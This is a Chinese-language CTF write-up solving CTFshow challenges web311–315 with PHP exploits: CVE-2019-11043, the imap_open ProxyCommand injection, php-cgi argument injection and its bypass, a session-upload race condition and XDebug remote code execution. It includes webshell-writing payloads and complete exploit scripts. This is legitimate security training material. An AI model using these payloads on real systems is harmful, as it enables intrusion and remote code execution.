CTFshow phpCVE web311
CVE-2019-11043
PHP远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】-腾讯云开发者社区-腾讯云 (tencent.com)
漏洞描述
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass php:9000;...}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
做题我们要使用的工具是phuip-fpizdam
,基于Go语言的。
先在虚拟机上配置好语言环境和工具。(root)
//更新一下apt
apt-get update
apt-get install --fix-missing
apt --fix-broken install -y//安装go
apt install golang//测试是否成功
go -version
//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git//查看go环境信息
go env//目录跳转
cd phuip-fpizdam//安装所需
go get -v && go build//如果上条安装所需没反应或者报错,就先执行下面这题(切换代理),然后再安装所需
go env -w GOPROXY=https://goproxy.cn
万事俱备,开题。
首先network看一下包:
Server:nginx/1.18.0 (Ubuntu)X-Powered-By:PHP/7.1.33dev
很明显是CVE-2019-11043
的特征,并且版本也满足。我们选择用工具一把梭。
工具文件夹里面开终端,换成root,执行:(URL后面要加一个/index.php
)
go run . "http://7077faca-4cc2-4f4f-8ac5-0528865a46ca.challenge.ctf.show/index.php"
然后在题目靶机,/index.php?a=
处输入命令,直接可以getshell。(出不来的话多提交几次)
P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。
CTFshow phpCVE web312
CVE-2018-19518
漏洞介绍
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数。
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。
imap_open(string $mailbox,string $user,string $password)
其中参数mailbox
,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh
来代替rsh
,如下图:
又因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞。
ssh -oProxyCommand ="tac /flag|tee /tmp/executed"localhost
#其中管道符tee意思是将内容追加到文件并且在屏幕输出
可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,所以这也就是我们系统被攻击的成因。
ProxyCommand,连接服务器的这样的一个命令具体说明如下:
ProxyCommand 指定用于连接服务器的命令。命令字符串扩展到行的末尾,并使用用户的shell’ exec’指令执行,以避免延迟的shell进程。 ProxyCommand接受TOKENS 部分中描述的令牌的参数。该命令基本上可以是任何东西,并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd服务器,或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成(默认为用户键入的名称)。设置命令以none完全禁用此选项。请注意, CheckHostIP无法与代理命令连接。 该指令与nc及其代理支持结合使用非常有用。例如,以下指令将通过192.0.2.0的HTTP代理连接: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
解析命令时还会有问题。要绕过斜杠和空格的转义。用$IFS和\t或者base64编码和相关命令再解码。如下:
echo "echo hello|tee /tmp/executed"|base64ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
影响版本
Ubuntu、Debian、Red Hat、SUSE
PHP 5.6.x < 5.6.39
开始做题。初始界面是邮箱登录,有三个参数可以输入,分别是邮箱、账号、密码。是CVE-2018-19518的特征。
看看network,版本条件都满足。
抓个包看看,三个参数是hostname
、username
、password
,猜测后端PHP语言用了imap_open(string $mailbox,string $user,string $password)
语句。满足条件。
直接固定payload打:
# 原始payload
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx
最终payload:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=xxx&password=xxx
访问/1.php
,直接getshell。
CTFshow phpCVE web313
CVE-2012-1823
PHP SAPI 与运行模式
首先,介绍一下PHP的运行模式。
下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。
除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。
php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000
(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。
PHP的四种运行模式
(1)CGI
全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。
CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。
(2)FastCGI
CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。
PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。
(3)Cli
PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。
在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样
(4)Module加载
这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。
漏洞影响范围
漏洞影响版本 PHP < 5.3.12 、 PHP < 5.4.2
CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中。
漏洞成因
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。
RFC3875中规定,当querystring中不包含没有解码的=
号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)In our SAPI cgi we have a check along these lines:if (getenv("SERVER_SOFTWARE")|| getenv("SERVER_NAME")|| getenv("GATEWAY_INTERFACE")|| getenv("REQUEST_METHOD")) {cgi = 1;}if(!cgi) getopt(...)As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:#!/usr/local/bin/php-cgi -d include_path=/path<?php...?>and have it work both from the command line and from a web context.As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.-Rasmus
但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path
的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。
于是,源程序中的if(!cgi) getopt(...)
被删掉了。
根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path
的方式传入php-cgi,更可以通过querystring的方式传入。
漏洞利用
cgi模式下有如下可控命令行参数可用:
-c
指定php.ini文件(PHP的配置文件)的位置-n
不要加载php.ini文件-d
指定配置项-b
启动fastcgi进程-s
显示文件源码-T
执行指定次该文件-h
和-?
显示帮助
那么最简单的利用方式就是-s
可以直接显示源码:
爆出源码说明漏洞存在。看network,版本是PHP 5.4.1
,满足条件。
一个更好的利用方法是通过使用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)
其原理是:利用可控命令行参数 -d
将allow_url_include
得值设为 on
并使用 auto_prepend_file
函数在页面顶部加载文件,而构造加载的文件为 php://input
读取的原始POST数据(也就是传输的数据 <?php echo shell_exec("ls");?>
的执行结果),并传递到回应包里。构造请求包如下:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1...
...
...<?php echo shell_exec("ls");?>
在burp中构造执行的结果如下,成功拿到flag:
CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。
PHP的修复方法是对-
进行了检查:
if(query_string = getenv("QUERY_STRING")) {decoded_query_string = strdup(query_string);php_url_decode(decoded_query_string, strlen(decoded_query_string));if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {skip_getopt = 1;}free(decoded_query_string);
}
可见,获取querystring后进行解码,如果第一个字符是-
则设置skip_getopt,也就是不要获取命令行参数。
这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:
#!/bin/shexec /usr/local/bin/php-cgi $*
通过使用空白符加-
的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-
了,绕过了上述检查。
于是,php5.4.3和php5.3.13中继续进行修改:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {/* we've got query string that has no = - apache CGI will pass it to command line */unsigned char *p;decoded_query_string = strdup(query_string);php_url_decode(decoded_query_string, strlen(decoded_query_string));for (p = decoded_query_string; *p && *p <= ' '; p++) {/* skip all leading spaces */}if(*p == '-') {skip_getopt = 1;}free(decoded_query_string);
}
先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-
。
漏洞修复
修复原理是:获取querystring后进行解码,先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-
。如果第一个字符是-
则设置skip_getopt,也就是不要获取命令行参数。修复源码如下
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {/* we've got query string that has no = - apache CGI will pass it to command line */unsigned char *p;decoded_query_string = strdup(query_string);php_url_decode(decoded_query_string, strlen(decoded_query_string));for (p = decoded_query_string; *p && *p <= ' '; p++) {/* skip all leading spaces */} if(*p == '-') {skip_getopt = 1;}free(decoded_query_string);}
CTFshow phpCVE web314
这题不是CVE,是PHP_SESSION_UPLOAD_PROGRESS
文件包含。
直接给了源码。禁用了冒号,不能用伪协议读取文件了。
正常读取文件功能正常。
在/phpinfo.php
路由(根据源码注释猜,dirsearch也能直接扫出来。)发现了phpinfo()的界面。
浏览phpinfo()
,发现开启了session,session.name是PHPSESSID。
我们考虑PHP_SESSION_UPLOAD_PROGRESS
文件包含,要使用条件竞争,一边读一边写。
脚本如下:
import requests
import io
import threading
url = 'http://0de8a71e-a2a7-4d86-9cf7-c0ac1653ae3c.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'def write(session):data = {'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"}#写一句话木马到文件while event.isSet():f = io.BytesIO(b'a'*1024*50)session.post(url,cookies={'PHPSESSID':'lalalala'},data=data,files={'file':('xxx',f)})def read(session):while event.isSet():response = session.post(url+'?f=/tmp/sess_lalalala')if 'success!' in response.text:#判断print("写入成功,访问1.php getshell")event.clear()#终止进程breakelse:passif __name__=='__main__':event = threading.Event()event.set()with requests.session() as session:for i in range(10):#开启十条进程threading.Thread(target=write,args=(session,)).start()for i in range(10):threading.Thread(target=read,args=(session,)).start()
这题也可以日志文件包含,不赘述了。
CTFshow phpCVE web315
题目描述:debug开启,端口9000
看题目描述一眼就是XDebug 远程调试漏洞
条件:
开启了远程调试模式,并设置
remote_connect_back = 1
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
开启了远程调试模式,并设置`remote_connect_back = 1`xdebug.remote_connect_back = 1xdebug.remote_enable = 1
这个配置下,我们访问http://target-url/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For
头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
利用脚本如下:(XDebug_exp.py)放在vps上面
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutorpool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}def recv_xml(sock):blocks = []data = b''while True:try:data = data + sock.recv(1024)except socket.error as e:breakif not data:breakwhile data:eop = data.find(b'\x00')if eop < 0:breakblocks.append(data[:eop])data = data[eop+1:]if len(blocks) >= 4:breakreturn blocks[3]def trigger(url):time.sleep(2)try:session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)except:passif __name__ == '__main__':parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')parser.add_argument('-t', '--target', required=True, help='target url.')parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')args = parser.parse_args()ip_port = ('0.0.0.0', args.listen)sk = socket.socket()sk.settimeout(10)sk.bind(ip_port)sk.listen(5)pool.submit(trigger, args.target)conn, addr = sk.accept()conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))data = recv_xml(conn)print('[+] Recieve data: ' + data.decode())g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)if not g:print('[-] No result...')sys.exit(0)data = g.group(1)try:print('[+] Result: ' + base64.b64decode(data).decode())except binascii.Error:print('[-] May be not string result...')
脚本利用方式:(-l指定端口,这里题目开的是9000。不加也没事,脚本默认是9000端口)在vps上面执行脚本
python3 XDebug_exp.py -t 【靶机url】/index.php -c 'shell_exec("id");' -l 9000
开始做题:
漏洞判断特征:(满足)
当我们访问/index.php?XDEBUG_SESSION_START=phpstorm
时,返回包会多出一个Set-Cookie
,内容是XDEBUG_SESSION=phpstorm;...
。
脚本放vps上,cd到对应目录,执行:
python3 XDebug_exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("tac flaaaxx.php");' -l 9000
进一步学习可参考:
[Xdebug: A Tiny Attack Surface - Ricter’s Blog (ricterz.me)](https://blog.ricterz.me/posts/Xdebug: A Tiny Attack Surface)
xdebug的攻击面 | Spoock